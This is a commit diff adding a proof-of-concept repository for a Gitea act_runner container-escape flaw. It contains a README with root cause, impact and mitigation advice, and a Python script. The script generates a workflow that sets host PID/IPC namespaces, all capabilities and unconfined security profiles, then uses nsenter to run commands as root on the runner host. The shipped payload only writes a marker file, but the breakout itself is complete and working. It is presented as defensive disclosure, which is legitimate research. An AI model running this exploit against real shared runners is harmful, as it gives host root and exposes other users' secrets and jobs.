Add exploitarium archive
This commit is contained in:
9
gitea-act-runner-container-options-poc/.gitignore
vendored
Normal file
9
gitea-act-runner-container-options-poc/.gitignore
vendored
Normal file
@@ -0,0 +1,9 @@
|
||||
__pycache__/
|
||||
*.pyc
|
||||
.pytest_cache/
|
||||
.mypy_cache/
|
||||
.ruff_cache/
|
||||
.venv/
|
||||
venv/
|
||||
tmp/
|
||||
poc-workdir/
|
||||
21
gitea-act-runner-container-options-poc/LICENSE
Normal file
21
gitea-act-runner-container-options-poc/LICENSE
Normal file
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
114
gitea-act-runner-container-options-poc/README.md
Normal file
114
gitea-act-runner-container-options-poc/README.md
Normal file
@@ -0,0 +1,114 @@
|
||||
# Gitea act_runner `container.options` Host Namespace PoC
|
||||
|
||||
This repository contains a local, marker-only Python proof of concept for a Gitea `act_runner` container hardening bypass.
|
||||
|
||||
The issue is that workflow-controlled `jobs.<job>.container.options` is appended to Docker options for the job container. The runner forces `--privileged` back to false when the runner configuration disables privileged mode, and it sanitizes bind mounts, but it preserves other Docker flags that can be equivalent to host control on a Docker runner.
|
||||
|
||||
The PoC uses:
|
||||
|
||||
```yaml
|
||||
container:
|
||||
image: ubuntu:22.04
|
||||
options: --pid=host --ipc=host --cap-add=ALL --security-opt seccomp=unconfined --security-opt apparmor=unconfined
|
||||
```
|
||||
|
||||
The job then runs `nsenter` and writes a marker file under `/tmp` on the runner host. The default PoC disables the runner's Docker socket mount with `--container-daemon-socket=-`, so the marker demonstrates host namespace access through Docker container options rather than direct Docker socket access from the job.
|
||||
|
||||
## Impact
|
||||
|
||||
An attacker who can run a workflow on an affected Docker-backed `act_runner` can create a job container with host PID/IPC namespaces, broad Linux capabilities, and unconfined security profiles while `Privileged` remains false. In the validated environment, that allowed the workflow step to enter host namespaces and execute a host-side marker command as root.
|
||||
|
||||
This is high severity for repositories where untrusted users can trigger workflows on shared runners. It can be critical when a shared runner host has repository secrets, deployment credentials, adjacent jobs, or access to internal build infrastructure.
|
||||
|
||||
## Preconditions
|
||||
|
||||
- Gitea Actions is enabled.
|
||||
- A Docker-backed `act_runner` executes workflows from the attacker-controlled repository or branch.
|
||||
- The job image contains `nsenter`; `ubuntu:22.04` does.
|
||||
- Docker accepts the preserved options shown above on the runner host.
|
||||
- The runner allows workflow-authored job containers.
|
||||
|
||||
## Root Cause
|
||||
|
||||
Source-to-sink path in `act_runner`:
|
||||
|
||||
- `ContainerSpec.Options` accepts workflow YAML `container.options`.
|
||||
- `RunContext.options()` appends workflow options to runner-level container options.
|
||||
- The job container is created with `Privileged: rc.Config.Privileged`, but also with `Options: rc.options(ctx)`.
|
||||
- `mergeContainerConfigs()` parses Docker CLI-style options.
|
||||
- When privileged mode is disabled, only `copts.privileged` is forced false.
|
||||
- The parsed HostConfig still keeps `PidMode`, `IpcMode`, `CapAdd`, `SecurityOpt`, `Devices`, `VolumesFrom`, and other non-volume fields.
|
||||
- `sanitizeConfig()` only filters `Binds` and `Mounts`.
|
||||
|
||||
Validated dangerous HostConfig fields:
|
||||
|
||||
```text
|
||||
Privileged=false
|
||||
PidMode=host
|
||||
IpcMode=host
|
||||
CapAdd=["ALL"]
|
||||
SecurityOpt=["seccomp=unconfined","apparmor=unconfined"]
|
||||
```
|
||||
|
||||
## Files
|
||||
|
||||
- `poc.py` - stdlib-only Python PoC that generates a workflow, runs `act_runner exec`, and verifies the marker.
|
||||
|
||||
## Quick Start
|
||||
|
||||
Build or download an `act_runner` binary for the Linux host that has Docker access, then run:
|
||||
|
||||
```bash
|
||||
python3 poc.py --runner ./act_runner --image ubuntu:22.04
|
||||
```
|
||||
|
||||
For verbose evidence:
|
||||
|
||||
```bash
|
||||
python3 poc.py --runner ./act_runner --image ubuntu:22.04 --debug
|
||||
```
|
||||
|
||||
Expected success output includes:
|
||||
|
||||
```text
|
||||
[+] verified host marker:
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
gitea-act-runner-container-options-poc-ok
|
||||
```
|
||||
|
||||
The generated workflow is placed in a temporary directory by default. To inspect it:
|
||||
|
||||
```bash
|
||||
python3 poc.py --runner ./act_runner --keep-workdir --debug
|
||||
```
|
||||
|
||||
## Validation Notes
|
||||
|
||||
The local validation used `act_runner exec` because it exercises the same runner code path that converts workflow job container options into Docker HostConfig for a job container.
|
||||
|
||||
The validation command used by the PoC includes:
|
||||
|
||||
```bash
|
||||
--container-daemon-socket=-
|
||||
```
|
||||
|
||||
That setting prevents the normal Docker socket bind mount into the job container. The workflow still reaches the host marker through namespace entry, which isolates the issue to Docker option handling.
|
||||
|
||||
## Mitigation Direction
|
||||
|
||||
Treat workflow-authored `container.options` as untrusted input. A defensive patch should reject or allowlist job-level Docker options rather than passing the Docker CLI option surface through wholesale.
|
||||
|
||||
At minimum, when runner privileged mode is disabled, reject or strip:
|
||||
|
||||
- host namespaces: `--pid=host`, `--ipc=host`, `--uts=host`, `--cgroupns=host`, `--network=host`
|
||||
- capability expansion: `--cap-add`, especially `ALL` and `SYS_ADMIN`
|
||||
- security profile overrides: `--security-opt seccomp=unconfined`, `--security-opt apparmor=unconfined`, label disabling
|
||||
- host device access: `--device`, `--device-cgroup-rule`, GPU/CDI device requests
|
||||
- inherited volumes: `--volumes-from`
|
||||
- runtime and cgroup escape-adjacent controls: `--runtime`, `--cgroup-parent`, broad sysctls
|
||||
|
||||
Runner operators should also avoid sharing Docker-backed runners with untrusted repositories. Use isolated, single-tenant runners or stronger sandboxing for untrusted workflows.
|
||||
|
||||
## Disclosure Scope
|
||||
|
||||
This PoC is designed for local defensive validation on infrastructure you control. It writes only a marker file and prints the verification result.
|
||||
157
gitea-act-runner-container-options-poc/poc.py
Normal file
157
gitea-act-runner-container-options-poc/poc.py
Normal file
@@ -0,0 +1,157 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import os
|
||||
import pathlib
|
||||
import re
|
||||
import shutil
|
||||
import shlex
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
import textwrap
|
||||
|
||||
|
||||
DEFAULT_OPTIONS = "--pid=host --ipc=host --cap-add=ALL --security-opt seccomp=unconfined --security-opt apparmor=unconfined"
|
||||
DEFAULT_MARKER = "/tmp/gitea_act_runner_container_options_poc_marker"
|
||||
SUCCESS_TOKEN = "gitea-act-runner-container-options-poc-ok"
|
||||
|
||||
|
||||
def parser():
|
||||
p = argparse.ArgumentParser(
|
||||
description="Local marker-only PoC for Gitea act_runner workflow container.options host namespace escape."
|
||||
)
|
||||
p.add_argument("--runner", default="act_runner", help="Path to the act_runner binary.")
|
||||
p.add_argument("--image", default="ubuntu:22.04", help="Linux image used for the job container.")
|
||||
p.add_argument("--marker", default=DEFAULT_MARKER, help="Absolute Linux host marker path to create.")
|
||||
p.add_argument("--workdir", default="", help="Directory for the generated workflow. Defaults to a temporary directory.")
|
||||
p.add_argument("--keep-workdir", action="store_true", help="Keep the generated workflow directory.")
|
||||
p.add_argument("--timeout", type=int, default=180, help="act_runner exec timeout in seconds.")
|
||||
p.add_argument("--debug", action="store_true", help="Run act_runner with --debug.")
|
||||
p.add_argument("--pull", action="store_true", help="Ask act_runner to pull the container image.")
|
||||
return p
|
||||
|
||||
|
||||
def validate_marker(marker):
|
||||
if not marker.startswith("/"):
|
||||
raise SystemExit("marker must be an absolute Linux path")
|
||||
if not re.fullmatch(r"[A-Za-z0-9._/\-]+", marker):
|
||||
raise SystemExit("marker contains unsupported characters")
|
||||
if marker in {"/", "/tmp", "/var/tmp"}:
|
||||
raise SystemExit("marker must be a file path")
|
||||
|
||||
|
||||
def write_workflow(root, marker, image):
|
||||
workflows = root / ".gitea" / "workflows"
|
||||
workflows.mkdir(parents=True, exist_ok=True)
|
||||
marker_q = shlex.quote(marker)
|
||||
inner = f"id > {marker_q}; echo {shlex.quote(SUCCESS_TOKEN)} >> {marker_q}"
|
||||
command = f"nsenter -t 1 -m -u -i -n -p -- sh -c {shlex.quote(inner)}"
|
||||
workflow = f"""
|
||||
name: gitea-act-runner-container-options-poc
|
||||
|
||||
on:
|
||||
- push
|
||||
|
||||
jobs:
|
||||
breakout:
|
||||
runs-on: ubuntu-latest
|
||||
container:
|
||||
image: {image}
|
||||
options: >-
|
||||
{DEFAULT_OPTIONS}
|
||||
steps:
|
||||
- name: host namespace marker
|
||||
run: |
|
||||
set -eu
|
||||
{command}
|
||||
"""
|
||||
path = workflows / "poc.yml"
|
||||
path.write_text(textwrap.dedent(workflow).lstrip(), encoding="utf-8")
|
||||
return path
|
||||
|
||||
|
||||
def run(args, root):
|
||||
cmd = [
|
||||
args.runner,
|
||||
"exec",
|
||||
"-C",
|
||||
str(root),
|
||||
"-W",
|
||||
str(root / ".gitea" / "workflows"),
|
||||
"-j",
|
||||
"breakout",
|
||||
"--container-daemon-socket=-",
|
||||
"--image",
|
||||
args.image,
|
||||
]
|
||||
if args.pull:
|
||||
cmd.append("--pull")
|
||||
if args.debug:
|
||||
cmd.append("--debug")
|
||||
print("[*] running:", " ".join(shlex.quote(x) for x in cmd), flush=True)
|
||||
return subprocess.run(
|
||||
cmd,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
text=True,
|
||||
timeout=args.timeout,
|
||||
check=False,
|
||||
)
|
||||
|
||||
|
||||
def read_marker(marker):
|
||||
try:
|
||||
return pathlib.Path(marker).read_text(encoding="utf-8", errors="replace")
|
||||
except FileNotFoundError:
|
||||
return ""
|
||||
except PermissionError as exc:
|
||||
raise SystemExit(f"marker exists but cannot be read: {exc}") from exc
|
||||
|
||||
|
||||
def remove_marker(marker):
|
||||
try:
|
||||
pathlib.Path(marker).unlink()
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
except PermissionError:
|
||||
pass
|
||||
|
||||
|
||||
def main():
|
||||
args = parser().parse_args()
|
||||
validate_marker(args.marker)
|
||||
runner = shutil.which(args.runner) if os.path.basename(args.runner) == args.runner else args.runner
|
||||
if not runner:
|
||||
raise SystemExit("act_runner binary was not found; pass --runner /path/to/act_runner")
|
||||
args.runner = runner
|
||||
|
||||
remove_marker(args.marker)
|
||||
temp = None
|
||||
if args.workdir:
|
||||
root = pathlib.Path(args.workdir).resolve()
|
||||
root.mkdir(parents=True, exist_ok=True)
|
||||
else:
|
||||
temp = tempfile.TemporaryDirectory(prefix="gitea-act-runner-poc-")
|
||||
root = pathlib.Path(temp.name)
|
||||
|
||||
workflow = write_workflow(root, args.marker, args.image)
|
||||
print(f"[*] generated workflow: {workflow}", flush=True)
|
||||
|
||||
try:
|
||||
result = run(args, root)
|
||||
finally:
|
||||
if temp and args.keep_workdir:
|
||||
temp.cleanup = lambda: None
|
||||
|
||||
print(result.stdout, end="")
|
||||
marker = read_marker(args.marker)
|
||||
if result.returncode != 0:
|
||||
raise SystemExit(f"act_runner exited with {result.returncode}")
|
||||
if SUCCESS_TOKEN not in marker:
|
||||
raise SystemExit("marker was not created; host namespace entry was not verified")
|
||||
print("[+] verified host marker:")
|
||||
print(marker, end="" if marker.endswith("\n") else "\n")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user